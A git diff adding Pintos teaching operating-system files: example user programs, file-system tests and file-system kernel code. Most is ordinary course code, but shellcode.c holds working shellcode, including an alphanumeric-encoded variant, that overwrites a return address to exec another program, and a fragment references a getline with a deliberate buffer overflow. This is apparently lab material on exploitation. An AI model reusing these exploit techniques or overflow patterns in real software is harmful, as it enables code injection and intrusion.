+ * matter worse, getline have a serious buffer overflow. */
+int main (void)
+{
+ char msg[2000];
+ char quote = '"';
+ char endl = '\n';
+
+ while ( getline (msg) )
+ {
+ write (STDOUT_FILENO, &quote, 1);
+ write (STDOUT_FILENO, msg, strlen(msg));
+ write (STDOUT_FILENO, &quote, 1);
+ write (STDOUT_FILENO, &endl, 1);
+ }
+
+ return 0;
+}
diff --git a/src/examples/parent.c b/src/examples/parent.c
new file mode 100644
index 0000000..df0e8f7
--- /dev/null
+++ b/src/examples/parent.c
@@ -0,0 +1,52 @@
+/* klaar@ida
+
+ pintos -v -k --fs-disk=2 --qemu -p ../examples/parent -a parent -p ../examples/child -a child -- -f -q run parent | grep PASS > result.txt
+ grep -c 'Lab 0' result.txt
+ grep -c 'Lab 1' result.txt
+ grep -c 'Lab 2' result.txt
+ grep -c 'Lab 3' result.txt
+
+ A test program that calls itself recursively. In the last step of
+ the recursion child.c is started. Do not use with large values for
+ CHILDREN or DEPTH.
+
+ Shall produce 64 PASS messages, 16 of each, when CHILDREN=4 and DEPTH=3
+
+ CHILDREN^DEPTH=count(PASS) (4^3=64)
+*/
+#include <syscall.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#define CHILDREN 4
+#define DEPTH 3
+
+int main(int argc, char* argv[])
+{
+ int i;
+ int pid[CHILDREN];
+ int depth = DEPTH - 1;
+ char cmd[10];
+
+ if (argc == 2)
+ depth = atoi(argv[1]) - 1;
+
+ for(i = 0; i < CHILDREN; i++)
+ {
+ if (depth)
+ snprintf(cmd, 10, "parent %i", depth);
+ else
+ snprintf(cmd, 10, "child %i", i);
+
+ printf("%s\n", cmd);
+ pid[i] = exec(cmd);
+ }
+// if (depth <= 1)
+ {
+ for(i = 0; i < CHILDREN; i++)
+ {
+ wait(pid[i]);
+ }
+ }
+ exit(0);
+}
diff --git a/src/examples/pfs.c b/src/examples/pfs.c
new file mode 100644
index 0000000..a633e24
--- /dev/null
+++ b/src/examples/pfs.c
@@ -0,0 +1,32 @@
+/* klaar@ida (cleanup of previous code by various IDA-employees)
+
+ pintos -v -k -T 120 --fs-disk=2 --qemu -p ../examples/pfs -a pfs -p ../examples/pfs_writer -a pfs_writer -p ../examples/pfs_reader -a pfs_reader -g messages -- -f -q run pfs
+
+ Tests that read and write are properly synchronized. Also stresses
+ the filesystem somewhat.
+
+ pfs_reader and pfs_writer are needed child processes.
+*/
+
+#include "syscall.h"
+
+int main(void)
+{
+ int i;
+ int pid[5];
+
+ create("file.1", 50000);
+ create("messages", 5000);
+
+ pid[0] = exec("pfs_writer a z");
+ pid[1] = exec("pfs_writer A Z");
+ pid[2] = exec("pfs_reader");
+ pid[3] = exec("pfs_reader");
+ pid[4] = exec("pfs_reader");
+
+ for (i = 0; i < 5; i++)
+ {
+ wait(pid[i]);
+ }
+ exit(0);
+}
diff --git a/src/examples/pfs.h b/src/examples/pfs.h
new file mode 100644
index 0000000..2ba7fce
--- /dev/null
+++ b/src/examples/pfs.h
@@ -0,0 +1,2 @@
+#define BIG 3000
+#define TIMES 500
diff --git a/src/examples/pfs_reader.c b/src/examples/pfs_reader.c
new file mode 100644
index 0000000..4f2d0fa
--- /dev/null
+++ b/src/examples/pfs_reader.c
@@ -0,0 +1,50 @@
+/* Part of pfs.c suite.
+
+ Reads from the file and checks consistency.
+ The buffer should all contain the same character!!
+ */
+
+#include <syscall.h>
+#include <stdio.h>
+#include "pfs.h"
+
+char buffer[BIG];
+
+int main(void)
+{
+ int bytes, i, j, inconsistency;
+ int id, messages;
+
+ messages = open("messages");
+
+ for (i = 0; i < TIMES; ++i)
+ {
+ id = open("file.1");
+ bytes = read(id, buffer, BIG);
+ close(id);
+
+ if (bytes != BIG)
+ {
+ write(messages, "Buffer not filled!\n", 19);
+ continue;
+ }
+ /* now check for consistency */
+ for (j = 1, inconsistency = 0; j < BIG; ++j)
+ {
+ if (buffer[0] != buffer[j])
+ {
+ /* Ooops, inconsistency */
+ write(messages, "INCONSISTENCY.", 14);
+ printf("INCONSISTENCY\n");
+ inconsistency = 1;
+ break; /* no need to check further */
+ }
+ }
+ if (!inconsistency)
+ {
+ write(messages, "cool\n", 5);
+ }
+ }
+ close(messages);
+ exit(0);
+}
diff --git a/src/examples/pfs_writer.c b/src/examples/pfs_writer.c
new file mode 100644
index 0000000..b17969f
--- /dev/null
+++ b/src/examples/pfs_writer.c
@@ -0,0 +1,48 @@
+/* Part of pfs.c suite.
+
+ Write on the disk. Each time the buffer is filled with same
+ character. Different character every time!
+ */
+
+#include <syscall.h>
+#include <stdio.h>
+#include <string.h>
+#include "pfs.h"
+
+char buffer[BIG];
+
+int main(int argc, char* argv[])
+{
+ int i,j;
+ char c;
+ int id;
+ int write_count;
+ char start;
+ char end;
+
+ if (argc != 3 || strlen(argv[1]) != 1 || strlen(argv[2]) != 1)
+ exit(1);
+
+ start = argv[1][0];
+ end = argv[2][0];
+
+ for (i = 0; i < TIMES / (end - start + 1) + 1; ++i)
+ {
+ for (c = start; c <= end; ++c)
+ {
+ for (j = 0; j < BIG; j++)
+ buffer[j] = c;
+
+ id = open("file.1");
+ write_count = write(id, buffer, BIG);
+
+ if ( write_count != BIG )
+ {
+ printf("TEST ERROR: write() wrote only %d bytes out of %d bytes\n",
+ write_count, BIG);
+ }
+ close(id);
+ }
+ }
+ exit(0);
+}
diff --git a/src/examples/pwd.c b/src/examples/pwd.c
new file mode 100644
index 0000000..d2305cf
--- /dev/null
+++ b/src/examples/pwd.c
@@ -0,0 +1,152 @@
+/* pwd.c
+
+ Prints the absolute name of the present working directory. */
+
+#include <syscall.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+
+static bool getcwd (char *cwd, size_t cwd_size);
+
+int
+main (void)
+{
+ char cwd[128];
+ if (getcwd (cwd, sizeof cwd))
+ {
+ printf ("%s\n", cwd);
+ return EXIT_SUCCESS;
+ }
+ else
+ {
+ printf ("error\n");
+ return EXIT_FAILURE;
+ }
+}
+
+/* Stores the inode number for FILE_NAME in *INUM.
+ Returns true if successful, false if the file could not be
+ opened. */
+static bool
+get_inumber (const char *file_name, int *inum)
+{
+ int fd = open (file_name);
+ if (fd >= 0)
+ {
+ *inum = inumber (fd);
+ close (fd);
+ return true;
+ }
+ else
+ return false;
+}
+
+/* Prepends PREFIX to the characters stored in the final *DST_LEN
+ bytes of the DST_SIZE-byte buffer that starts at DST.
+ Returns true if successful, false if adding that many
+ characters, plus a null terminator, would overflow the buffer.
+ (No null terminator is actually added or depended upon, but
+ its space is accounted for.) */
+static bool
+prepend (const char *prefix,
+ char *dst, size_t *dst_len, size_t dst_size)
+{
+ size_t prefix_len = strlen (prefix);
+ if (prefix_len + *dst_len + 1 <= dst_size)
+ {
+ *dst_len += prefix_len;
+ memcpy ((dst + dst_size) - *dst_len, prefix, prefix_len);
+ return true;
+ }
+ else
+ return false;
+}
+
+/* Stores the current working directory, as a null-terminated
+ string, in the CWD_SIZE bytes in CWD.
+ Returns true if successful, false on error. Errors include
+ system errors, directory trees deeper than MAX_LEVEL levels,
+ and insufficient space in CWD. */
+static bool
+getcwd (char *cwd, size_t cwd_size)
+{
+ size_t cwd_len = 0;
+
+#define MAX_LEVEL 20
+ char name[MAX_LEVEL * 3 + 1 + READDIR_MAX_LEN + 1];
+ char *namep;
+
+ int child_inum;
+
+ /* Make sure there's enough space for at least "/". */
+ if (cwd_size < 2)
+ return false;
+
+ /* Get inumber for current directory. */
+ if (!get_inumber (".", &child_inum))
+ return false;
+
+ namep = name;
+ for (;;)
+ {
+ int parent_inum, parent_fd;
+
+ /* Compose "../../../..", etc., in NAME. */
+ if ((namep - name) > MAX_LEVEL * 3)
+ return false;
+ *namep++ = '.';
+ *namep++ = '.';
+ *namep = '\0';
+
+ /* Open directory. */
+ parent_fd = open (name);
+ if (parent_fd < 0)
+ return false;
+ *namep++ = '/';
+
+ /* If parent and child have the same inumber,
+ then we've arrived at the root. */
+ parent_inum = inumber (parent_fd);
+ if (parent_inum == child_inum)
+ break;
+
+ /* Find name of file in parent directory with the child's
+ inumber. */
+ for (;;)
+ {
+ int test_inum;
+ if (!readdir (parent_fd, namep) || !get_inumber (name, &test_inum))
+ {
+ close (parent_fd);
+ return false;
+ }
+ if (test_inum == child_inum)
+ break;
+ }
+ close (parent_fd);
+
+ /* Prepend "/name" to CWD. */
+ if (!prepend (namep - 1, cwd, &cwd_len, cwd_size))
+ return false;
+
+ /* Move up. */
+ child_inum = parent_inum;
+ }
+
+ /* Finalize CWD. */
+ if (cwd_len > 0)
+ {
+ /* Move the string to the beginning of CWD,
+ and null-terminate it. */
+ memmove (cwd, (cwd + cwd_size) - cwd_len, cwd_len);
+ cwd[cwd_len] = '\0';
+ }
+ else
+ {
+ /* Special case for the root. */
+ strlcpy (cwd, "/", cwd_size);
+ }
+
+ return true;
+}
diff --git a/src/examples/recursor.c b/src/examples/recursor.c
new file mode 100644
index 0000000..79c784a
--- /dev/null
+++ b/src/examples/recursor.c
@@ -0,0 +1,34 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <syscall.h>
+
+int
+main (int argc, char *argv[])
+{
+ char buffer[128];
+ pid_t pid;
+ int retval = 0;
+
+ if (argc != 4)
+ {
+ printf ("usage: recursor <string> <depth> <waitp>\n");
+ exit (1);
+ }
+
+ /* Print args. */
+ printf ("%s %s %s %s\n", argv[0], argv[1], argv[2], argv[3]);
+
+ /* Execute child and wait for it to finish if requested. */
+ if (atoi (argv[2]) != 0)
+ {
+ snprintf (buffer, sizeof buffer,
+ "recursor %s %d %s", argv[1], atoi (argv[2]) - 1, argv[3]);
+ pid = exec (buffer);
+ if (atoi (argv[3]))
+ retval = wait (pid);
+ }
+
+ /* Done. */
+ printf ("%s %s: dying, retval=%d\n", argv[1], argv[2], retval);
+ exit (retval);
+}
diff --git a/src/examples/rm.c b/src/examples/rm.c
new file mode 100644
index 0000000..0db7f7b
--- /dev/null
+++ b/src/examples/rm.c
@@ -0,0 +1,21 @@
+/* rm.c
+
+ Removes files specified on command line. */
+
+#include <stdio.h>
+#include <syscall.h>
+
+int
+main (int argc, char *argv[])
+{
+ bool success = true;
+ int i;
+
+ for (i = 1; i < argc; i++)
+ if (!remove (argv[i]))
+ {
+ printf ("%s: remove failed\n", argv[i]);
+ success = false;
+ }
+ return success ? EXIT_SUCCESS : EXIT_FAILURE;
+}
diff --git a/src/examples/shell.c b/src/examples/shell.c
new file mode 100644
index 0000000..93641b4
--- /dev/null
+++ b/src/examples/shell.c
@@ -0,0 +1,104 @@
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include <syscall.h>
+
+static void read_line (char line[], size_t);
+static bool backspace (char **pos, char line[]);
+
+int
+main (void)
+{
+ printf ("Shell starting...\n");
+ for (;;)
+ {
+ char command[80];
+
+ /* Read command. */
+ printf ("--");
+ read_line (command, sizeof command);
+
+ /* Execute command. */
+ if (!strcmp (command, "exit"))
+ break;
+ else if (!memcmp (command, "cd ", 3))
+ {
+ if (!chdir (command + 3))
+ printf ("\"%s\": chdir failed\n", command + 3);
+ }
+ else if (command[0] == '\0')
+ {
+ /* Empty command. */
+ }
+ else
+ {
+ pid_t pid = exec (command);
+ if (pid != PID_ERROR)
+ printf ("\"%s\": exit code %d\n", command, wait (pid));
+ else
+ printf ("exec failed\n");
+ }
+ }
+
+ printf ("Shell exiting.");
+ return EXIT_SUCCESS;
+}
+
+/* Reads a line of input from the user into LINE, which has room
+ for SIZE bytes. Handles backspace and Ctrl+U in the ways
+ expected by Unix users. On return, LINE will always be
+ null-terminated and will not end in a new-line character. */
+static void
+read_line (char line[], size_t size)
+{
+ char *pos = line;
+ for (;;)
+ {
+ char c;
+ read (STDIN_FILENO, &c, 1);
+
+ switch (c)
+ {
+ case '\r':
+ *pos = '\0';
+ putchar ('\n');
+ return;
+
+ case '\b':
+ backspace (&pos, line);
+ break;
+
+ case ('U' - 'A') + 1: /* Ctrl+U. */
+ while (backspace (&pos, line))
+ continue;
+ break;
+
+ default:
+ /* Add character to line. */
+ if (pos < line + size - 1)
+ {
+ putchar (c);
+ *pos++ = c;
+ }
+ break;
+ }
+ }
+}
+
+/* If *POS is past the beginning of LINE, backs up one character
+ position. Returns true if successful, false if nothing was
+ done. */
+static bool
+backspace (char **pos, char line[])
+{
+ if (*pos > line)
+ {
+ /* Back up cursor, overwrite character, back up
+ again. */
+ printf ("\b \b");
+ (*pos)--;
+ return true;
+ }
+ else
+ return false;
+}
diff --git a/src/examples/shellcode.c b/src/examples/shellcode.c
new file mode 100644
index 0000000..63e3fe9
--- /dev/null
+++ b/src/examples/shellcode.c
@@ -0,0 +1,81 @@
+/* klaar@ida
+
+ pintos -v --fs-disk=2 -p ../examples/crack -a crack -p ../examples/shellcode -a shellcode -- -f -q run 'shellcode'
+
+ -*- Woahhh, have fun -*-
+ http://www.phrack.org/issues.html?issue=49&id=14#article
+ http://www.phrack.org/issues.html?issue=57&id=15#article
+
+ Somewhat simpler to achieve in Pintos actually.
+ */
+
+#include <syscall.h>
+
+#if 0
+/* This it the below assembly code in binary form. It runs. To get it,
+ * just compile the code below and use the debugger to dump the code
+ * in the main function. */
+char shellcode[] =
+ "\x90\x90\x90\x90\x90\xe9\x0b\x00"
+ "\x00\x00\x6a\x02\xcd\x30\x31\xc0"
+ "\x50\x40\x50\xcd\x30\xe8\xf0\xff"
+ "\xff\xff""crack";
+#else
+/* And this is rather scary amazing... This is also the below
+ * assembly code in binary form, but now using ONLY alphanumeric
+ * characters. It works flawless... Using something like isalpha() on
+ * input does not prevent crackers to exploit buffer overflows.
+ */
+char shellcode[] =
+ "LLLLZh7JWUX57JWUHPSPPSRPPaWPVUUF"
+ "VDNfhKZfXf5vOfPDRPaAjeY0Lka0Tkah"
+ "9bdUY1LkbjIY0Lkg0tkhjUX0Dkk0Tkkj"
+ "8Y0Lkm0tkohEJZuX1Dkq1TkqjHY0Lku0"
+ "tkuCjqX0Dkzs2bdUjK201jPxP20REZuH"
+ "crackq";
+#endif
+
+int main( void )
+{
+#if 1
+ int *ret; /* A local variable is stored on the stack. */
+
+ ret = (int *)&ret + 2; /* Two steps above in the stack is the
+ * address to continue at when main
+ * return... the normal function return
+ * address. */
+ (*ret) = (int)shellcode; /* We overwrite it with the address to the
+ * shell code. This will check that the
+ * shell code works as expected. */
+ return 0;
+#else
+ /* Assembler code to do the following:
+ *
+ * exec("crack");
+ * exit();
+ *
+ * Apparently the code 0x01 can not be sent as input to pintos, so
+ * it can not be part of any instruction. Reason unknown. Theory:
+ * 0x01 may be grabbed as Ctrl-a by QEMU ?
+ *
+ * Translate push 0x01 ==> ... push %eax
+ *
+ * The tricky part is to figure out at which address the name of the
+ * program to start is stored. The call instruction solves it
+ * nicely. It saves the following address as return address.
+ */
+
+ __asm__("jmp 0x0f;" /* jump to CALL */
+/* actual address of string pushed as return address by CALL */
+ "push $0x2;" /* push EXEC syscall number */
+ "int $0x30;" /* make syscall */
+ "xor %eax,%eax;" /* load 0 in eax */
+ "push %eax;" /* push exit_status */
+ "inc %eax;" /* inc eax to 1 */
+ "push %eax;" /* push EXIT syscall number */
+ "int $0x30;" /* make syscall */
+/* CALL */"call -0x0C;" /* jumps back again */
+ ".string \"crack\";" /* program to start */
+ );
+#endif
+}
diff --git a/src/examples/sumargv.c b/src/examples/sumargv.c
new file mode 100644
index 0000000..1bd6d14
--- /dev/null
+++ b/src/examples/sumargv.c
@@ -0,0 +1,54 @@
+/* klaar@ida
+
+ A test program for the stack setup that do not rely on any (they
+ are not yet implemented!) system calls.
+
+ The intended pintos command line running from userprog is:
+
+ pintos -v -k --fs-disk=2 -p ../examples/sumargv -a sumargv -- -f -q run 'sumargv'
+
+ This invocation shall return 0. To return any other number, invoke
+ with numbers that sum to that number. 'sumargv 1000 200 4 30 will
+ result in 1234.
+
+ Note -v (no vga) and -q (poweroff when done) may cause trouble. If
+ you have problems exiting pintos, pres C-a and then x. If the
+ program does not seem to work it may be due to -q do poweroff too
+ fast (process_wait is incorrect).
+ */
+#include <stdlib.h>
+
+int
+main (int argc, char **argv)
+{
+ int i;
+ int sum = 0;
+ char* argv_me = "sumargv";
+ char* p;
+
+ /* If we do not have a valid `argv', exit with error code 111. */
+ if (argv == 0)
+ return 111;
+
+ /* Weighted sum of characters in "sumargv". */
+ for (p = argv_me, i = 0; *p; ++p, ++i)
+ sum += (*p - 'a') * i;
+
+ /* Weighted sum of characters in `argv[0]'. */
+ for (p = argv[0], i = 0; *p; ++p, ++i)
+ sum -= (*p - 'a') * i;
+
+ /* The `sum' should now be zero if the program name `argv[0]' is
+ * correctly set up. */
+
+ /* Interpret all remaining command line words as numbers and sum them. */
+ for (i = 1; i < argc; i++)
+ sum += atoi(argv[i]);
+
+ /* If `argv' ends correctly with a null pointer this has no effect. */
+ sum += (int)argv[argc];
+
+ /* The final return value should now be the sum of the numbers
+ * specified after sumargv on the command line. */
+ return sum;
+}
diff --git a/src/filesys/.cvsignore b/src/filesys/.cvsignore
new file mode 100644
index 0000000..6d5357c
--- /dev/null
+++ b/src/filesys/.cvsignore
@@ -0,0 +1,3 @@
+build
+bochsrc.txt
+bochsout.txt
diff --git a/src/filesys/Make.vars b/src/filesys/Make.vars
new file mode 100644
index 0000000..d8050cd
--- /dev/null
+++ b/src/filesys/Make.vars
@@ -0,0 +1,13 @@
+# -*- makefile -*-
+
+os.dsk: DEFINES = -DUSERPROG -DFILESYS
+KERNEL_SUBDIRS = threads devices lib lib/kernel userprog filesys
+TEST_SUBDIRS = tests/userprog tests/filesys/base tests/filesys/extended
+GRADING_FILE = $(SRCDIR)/tests/filesys/Grading.no-vm
+SIMULATOR = --qemu
+
+# Uncomment the lines below to enable VM.
+#os.dsk: DEFINES += -DVM
+#KERNEL_SUBDIRS += vm
+#TEST_SUBDIRS += tests/vm
+#GRADING_FILE = $(SRCDIR)/tests/filesys/Grading.with-vm
diff --git a/src/filesys/Makefile b/src/filesys/Makefile
new file mode 100644
index 0000000..34c10aa
--- /dev/null
+++ b/src/filesys/Makefile
@@ -0,0 +1 @@
+include ../Makefile.kernel
diff --git a/src/filesys/directory.c b/src/filesys/directory.c
new file mode 100644
index 0000000..0d265d5
--- /dev/null
+++ b/src/filesys/directory.c
@@ -0,0 +1,236 @@
+#include "filesys/directory.h"
+#include <stdio.h>
+#include <string.h>
+#include <list.h>
+#include "filesys/filesys.h"
+#include "filesys/inode.h"
+#include "threads/malloc.h"
+
+/* A directory. */
+struct dir
+ {
+ struct inode *inode; /* Backing store. */
+ off_t pos; /* Current position. */
+ };
+
+/* A single directory entry. */
+struct dir_entry
+ {
+ disk_sector_t inode_sector; /* Sector number of header. */
+ char name[NAME_MAX + 1]; /* Null terminated file name. */
+ bool in_use; /* In use or free? */
+ };
+
+/* Creates a directory with space for ENTRY_CNT entries in the
+ given SECTOR. Returns true if successful, false on failure. */
+bool
+dir_create (disk_sector_t sector, size_t entry_cnt)
+{
+ return inode_create (sector, entry_cnt * sizeof (struct dir_entry));
+}
+
+/* Opens and returns the directory for the given INODE, of which
+ it takes ownership. Returns a null pointer on failure. */
+struct dir *
+dir_open (struct inode *inode)
+{
+ struct dir *dir = calloc (1, sizeof *dir);
+ if (inode != NULL && dir != NULL)
+ {
+ dir->inode = inode;
+ dir->pos = 0;
+ return dir;
+ }
+ else
+ {
+ inode_close (inode);
+ free (dir);
+ return NULL;
+ }
+}
+
+/* Opens the root directory and returns a directory for it.
+ Return true if successful, false on failure. */
+struct dir *
+dir_open_root (void)
+{
+ return dir_open (inode_open (ROOT_DIR_SECTOR));
+}
+
+/* Opens and returns a new directory for the same inode as DIR.
+ Returns a null pointer on failure. */
+struct dir *
+dir_reopen (struct dir *dir)
+{
+ return dir_open (inode_reopen (dir->inode));
+}
+
+/* Destroys DIR and frees associated resources. */
+void
+dir_close (struct dir *dir)
+{
+ if (dir != NULL)
+ {
+ inode_close (dir->inode);
+ free (dir);
+ }
+}
+
+/* Returns the inode encapsulated by DIR. */
+struct inode *
+dir_get_inode (struct dir *dir)
+{
+ return dir->inode;
+}
+
+/* Searches DIR for a file with the given NAME.
+ If successful, returns true, sets *EP to the directory entry
+ if EP is non-null, and sets *OFSP to the byte offset of the
+ directory entry if OFSP is non-null.
+ otherwise, returns false and ignores EP and OFSP. */
+static bool
+lookup (const struct dir *dir, const char *name,
+ struct dir_entry *ep, off_t *ofsp)
+{
+ struct dir_entry e;
+ size_t ofs;
+
+ ASSERT (dir != NULL);
+ ASSERT (name != NULL);
+
+ for (ofs = 0; inode_read_at (dir->inode, &e, sizeof e, ofs) == sizeof e;
+ ofs += sizeof e)
+ if (e.in_use && !strcmp (name, e.name))
+ {
+ if (ep != NULL)
+ *ep = e;
+ if (ofsp != NULL)
+ *ofsp = ofs;
+ return true;
+ }
+ return false;
+}
+
+/* Searches DIR for a file with the given NAME
+ and returns true if one exists, false otherwise.
+ On success, sets *INODE to an inode for the file, otherwise to
+ a null pointer. The caller must close *INODE. */
+bool
+dir_lookup (const struct dir *dir, const char *name,
+ struct inode **inode)
+{
+ struct dir_entry e;
+
+ ASSERT (dir != NULL);
+ ASSERT (name != NULL);
+
+ if (lookup (dir, name, &e, NULL))
+ *inode = inode_open (e.inode_sector);
+ else
+ *inode = NULL;
+
+ return *inode != NULL;
+}
+
+/* Adds a file named NAME to DIR, which must not already contain a
+ file by that name. The file's inode is in sector
+ INODE_SECTOR.
+ Returns true if successful, false on failure.
+ Fails if NAME is invalid (i.e. too long) or a disk or memory
+ error occurs. */
+bool
+dir_add (struct dir *dir, const char *name, disk_sector_t inode_sector)
+{
+ struct dir_entry e;
+ off_t ofs;
+ bool success = false;
+
+ ASSERT (dir != NULL);
+ ASSERT (name != NULL);
+
+ /* Check NAME for validity. */
+ if (*name == '\0' || strlen (name) > NAME_MAX)
+ return false;
+
+ /* Check that NAME is not in use. */
+ if (lookup (dir, name, NULL, NULL))
+ goto done;
+
+ /* Set OFS to offset of free slot.
+ If there are no free slots, then it will be set to the
+ current end-of-file.
+
+ inode_read_at() will only return a short read at end of file.
+ Otherwise, we'd need to verify that we didn't get a short
+ read due to something intermittent such as low memory. */
+ for (ofs = 0; inode_read_at (dir->inode, &e, sizeof e, ofs) == sizeof e;
+ ofs += sizeof e)
+ if (!e.in_use)
+ break;
+
+ /* Write slot. */
+ e.in_use = true;
+ strlcpy (e.name, name, sizeof e.name);
+ e.inode_sector = inode_sector;
+ success = inode_write_at (dir->inode, &e, sizeof e, ofs) == sizeof e;
+
+ done:
+ return success;
+}
+
+/* Removes any entry for NAME in DIR.
+ Returns true if successful, false on failure,
+ which occurs only if there is no file with the given NAME. */
+bool
+dir_remove (struct dir *dir, const char *name)
+{
+ struct dir_entry e;
+ struct inode *inode = NULL;
+ bool success = false;
+ off_t ofs;
+
+ ASSERT (dir != NULL);
+ ASSERT (name != NULL);
+
+ /* Find directory entry. */
+ if (!lookup (dir, name, &e, &ofs))
+ goto done;
+
+ /* Open inode. */
+ inode = inode_open (e.inode_sector);
+ if (inode == NULL)
+ goto done;
+
+ /* Erase directory entry. */
+ e.in_use = false;
+ if (inode_write_at (dir->inode, &e, sizeof e, ofs) != sizeof e)
+ goto done;
+
+ /* Remove inode. */
+ inode_remove (inode);
+ success = true;
+
+ done:
+ inode_close (inode);
+ return success;
+}
+
+/* Reads the next directory entry in DIR and stores the name in
+ NAME. Returns true if successful, false if the directory
+ contains no more entries. */
+bool
+dir_readdir (struct dir *dir, char name[NAME_MAX + 1])
+{
+ struct dir_entry e;
+
+ while (inode_read_at (dir->inode, &e, sizeof e, dir->pos) == sizeof e)
+ {
+ dir->pos += sizeof e;
+ if (e.in_use)
+ {
+ strlcpy (name, e.name, NAME_MAX + 1);
+ return true;
+ }
+ }
+ return false;
+}
diff --git a/src/filesys/directory.h b/src/filesys/directory.h
new file mode 100644
index 0000000..7955937
--- /dev/null
+++ b/src/filesys/directory.h
@@ -0,0 +1,30 @@
+#ifndef FILESYS_DIRECTORY_H
+#define FILESYS_DIRECTORY_H
+
+#include <stdbool.h>
+#include <stddef.h>
+#include "devices/disk.h"
+
+/* Maximum length of a file name component.
+ This is the traditional UNIX maximum length.
+ After directories are implemented, this maximum length may be
+ retained, but much longer full path names must be allowed. */
+#define NAME_MAX 14
+
+struct inode;
+
+/* Opening and closing directories. */
+bool dir_create (disk_sector_t sector, size_t entry_cnt);
+struct dir *dir_open (struct inode *);
+struct dir *dir_open_root (void);
+struct dir *dir_reopen (struct dir *);
+void dir_close (struct dir *);
+struct inode *dir_get_inode (struct dir *);
+
+/* Reading and writing. */
+bool dir_lookup (const struct dir *, const char *name, struct inode **);
+bool dir_add (struct dir *, const char *name, disk_sector_t);
+bool dir_remove (struct dir *, const char *name);
+bool dir_readdir (struct dir *, char name[NAME_MAX + 1]);
+
+#endif /* filesys/directory.h */
diff --git a/src/filesys/file.c b/src/filesys/file.c
new file mode 100644
index 0000000..bd19f9c
--- /dev/null
+++ b/src/filesys/file.c
@@ -0,0 +1,140 @@
+#include "filesys/file.h"
+#include <debug.h>
+#include "filesys/inode.h"
+#include "threads/malloc.h"
+
+/* An open file. */
+struct file
+ {
+ struct inode *inode; /* File's inode. */
+ off_t pos; /* Current position. */
+ };
+
+/* Opens a file for the given INODE, of which it takes ownership,
+ and returns the new file. Returns a null pointer if an
+ allocation fails or if INODE is null. */
+struct file *
+file_open (struct inode *inode)
+{
+ struct file *file = calloc (1, sizeof *file);
+ if (inode != NULL && file != NULL)
+ {
+ file->inode = inode;
+ file->pos = 0;
+
+ return file;
+ }
+ else
+ {
+ inode_close (inode);
+ free (file);
+ return NULL;
+ }
+}
+
+/* Opens and returns a new file for the same inode as FILE.
+ Returns a null pointer if unsuccessful. */
+struct file *
+file_reopen (struct file *file)
+{
+ return file_open (inode_reopen (file->inode));
+}
+
+/* Closes FILE. */
+void
+file_close (struct file *file)
+{
+ if (file != NULL)
+ {
+ inode_close (file->inode);
+ free (file);
+ }
+}
+
+/* Returns the inode encapsulated by FILE. */
+struct inode *
+file_get_inode (struct file *file)
+{
+ return file->inode;
+}
+
+/* Reads SIZE bytes from FILE into BUFFER,
+ starting at the file's current position.
+ Returns the number of bytes actually read,
+ which may be less than SIZE if end of file is reached.
+ Advances FILE's position by the number of bytes read. */
+off_t
+file_read (struct file *file, void *buffer, off_t size)
+{
+ off_t bytes_read = inode_read_at (file->inode, buffer, size, file->pos);
+ file->pos += bytes_read;
+ return bytes_read;
+}
+
+/* Reads SIZE bytes from FILE into BUFFER,
+ starting at offset FILE_OFS in the file.
+ Returns the number of bytes actually read,
+ which may be less than SIZE if end of file is reached.
+ The file's current position is unaffected. */
+off_t
+file_read_at (struct file *file, void *buffer, off_t size, off_t file_ofs)
+{
+ return inode_read_at (file->inode, buffer, size, file_ofs);
+}
+
+/* Writes SIZE bytes from BUFFER into FILE,
+ starting at the file's current position.
+ Returns the number of bytes actually written,
+ which may be less than SIZE if end of file is reached.
+ (Normally we'd grow the file in that case, but file growth is
+ not yet implemented.)
+ Advances FILE's position by the number of bytes read. */
+off_t
+file_write (struct file *file, const void *buffer, off_t size)
+{
+ off_t bytes_written = inode_write_at (file->inode, buffer, size, file->pos);
+ file->pos += bytes_written;
+ return bytes_written;
+}
+
+/* Writes SIZE bytes from BUFFER into FILE,
+ starting at offset FILE_OFS in the file.
+ Returns the number of bytes actually written,
+ which may be less than SIZE if end of file is reached.
+ (Normally we'd grow the file in that case, but file growth is
+ not yet implemented.)
+ The file's current position is unaffected. */
+off_t
+file_write_at (struct file *file, const void *buffer, off_t size,
+ off_t file_ofs)
+{
+ return inode_write_at (file->inode, buffer, size, file_ofs);
+}
+
+
+/* Returns the size of FILE in bytes. */
+off_t
+file_length (struct file *file)
+{
+ ASSERT (file != NULL);
+ return inode_length (file->inode);
+}
+
+/* Sets the current position in FILE to NEW_POS bytes from the
+ start of the file. */
+void
+file_seek (struct file *file, off_t new_pos)
+{
+ ASSERT (file != NULL);
+ ASSERT (new_pos >= 0);
+ file->pos = new_pos;
+}
+
+/* Returns the current position in FILE as a byte offset from the
+ start of the file. */
+off_t
+file_tell (struct file *file)
+{
+ ASSERT (file != NULL);
+ return file->pos;
+}
diff --git a/src/filesys/file.h b/src/filesys/file.h
new file mode 100644
index 0000000..d01d556
--- /dev/null
+++ b/src/filesys/file.h
@@ -0,0 +1,26 @@
+#ifndef FILESYS_FILE_H
+#define FILESYS_FILE_H
+
+#include "filesys/off_t.h"
+
+struct inode;
+
+/* Opening and closing files. */
+struct file *file_open (struct inode *);
+struct file *file_reopen (struct file *);
+void file_close (struct file *);
+struct inode *file_get_inode (struct file *);
+
+/* Reading and writing. */
+off_t file_read (struct file *, void *, off_t);
+off_t file_read_at (struct file *, void *, off_t size, off_t start);
+off_t file_write (struct file *, const void *, off_t);
+off_t file_write_at (struct file *, const void *, off_t size, off_t start);
+
+
+/* File position. */
+void file_seek (struct file *, off_t);
+off_t file_tell (struct file *);
+off_t file_length (struct file *);
+
+#endif /* filesys/file.h */
diff --git a/src/filesys/filesys.c b/src/filesys/filesys.c
new file mode 100644
index 0000000..97a3f04
--- /dev/null
+++ b/src/filesys/filesys.c
@@ -0,0 +1,114 @@
+#include "filesys/filesys.h"
+#include <debug.h>
+#include <stdio.h>
+#include <string.h>
+#include "filesys/file.h"
+#include "filesys/free-map.h"
+#include "filesys/inode.h"
+#include "filesys/directory.h"
+#include "devices/disk.h"
+#include "threads/synch.h"
+
+/* The disk that contains the file system. */
+struct disk *filesys_disk;
+
+static void do_format (void);
+
+/* Initializes the file system module.
+ If FORMAT is true, reformats the file system. */
+void
+filesys_init (bool format)
+{
+ filesys_disk = disk_get (0, 1);
+ if (filesys_disk == NULL)
+ PANIC ("hd0:1 (hdb) not present, file system initialization failed");
+
